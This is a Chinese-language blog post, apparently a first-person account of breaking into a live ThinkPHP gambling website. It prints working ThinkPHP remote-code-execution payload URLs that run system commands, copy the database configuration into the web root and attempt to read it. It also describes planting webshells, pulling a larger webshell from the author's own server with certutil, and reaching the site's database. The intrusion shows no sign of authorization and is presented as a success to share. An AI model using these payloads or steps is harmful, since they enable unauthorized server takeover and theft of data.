無意間發現一個thinkphp的菠菜站,最近tp不是剛好有個漏洞嗎?
然后就順手測試了一下,但過程并不太順利,不過最后還是拿下了,所以特發此文分享下思路。
簡單看了下,應該有不少人玩吧?
正好前幾天寫了個測試工具,先掏出來測試一發。
工具顯示存在漏洞
一鍵getshell,看起來很順利的樣子,哈哈。
但是...小明甩了下頭發,發現事情并不簡單。
菜刀連接的時候,返回500錯誤。
我們用火狐的hackbar驗證下,沒毛病啊,那為什么菜刀連接不上呢?
作為菜逼的我不禁陷入了沉思...
因為這個工具我自己寫的,從上面getshell的圖片中發現調用的是第三個exp,那么我們來分析下看看。
poc如下
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
我們在poc后面輸入whoami看看權限。
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
iis權限
但是可以執行部分命令,比如echo dir等等。
0x02 嘗試突破拿shell
既然可以執行echo 那么我們可以來嘗試寫入個小馬試試,如果成功的話,再利用小馬上傳大馬,說干就干,苦活來了,我們得一行一行寫入進去。
注意:代碼中的<>符號,要用^^轉義。比如<?php轉義為^<^?php
逐行寫入完成后,訪問的時候發現并不能正常運行,這里忘記截圖了。。
接下來嘗試用以下方法下載文件到服務器上也失敗了。
正當我打算放棄的時候,我想起來還有個下載的命令沒用。
那就是certutil.exe
說干就干,把大馬放到我們服務器上,開啟HFS。
然后執行以下命令。
成功進入大馬,不過別高興太早。
小明再次甩了下頭發,發現事情更不簡單....
大馬可以操作文件上傳改名等等,但是無法編輯文件,無法查看文件源碼等等,點開顯示一片空白。
既然這樣,那么我們進數據庫看看吧。
我們都知道tp的數據庫配置文件在以下這個位置
/application/database.php
大馬是無法打開了,那么我們可以用tp的命令執行漏洞嘗試用type命令去讀取這個文件。
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=typec:\www\application\database.php
嘗試type讀取失敗,然后又想到copy命令。
把database.php拷貝到web根目錄下,改名為1.txt
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copyc:\www\application\database.php c:\www\public\1.txt
拷貝完成以后訪問url/1.txt,發現里面是空的。
經歷了一系列的失敗后,我冷靜下來想了下,我們還可以用file_path去讀取源碼試試。
用大馬上傳這個文件到根目錄下,然后訪問,成功拿到數據庫配置信息。
然后填寫好配置信息,進入數據庫。
此文寫到這里已經夜深人靜,看著桌子上吃了一半的泡面,最后喝了兩口湯,關機,睡覺......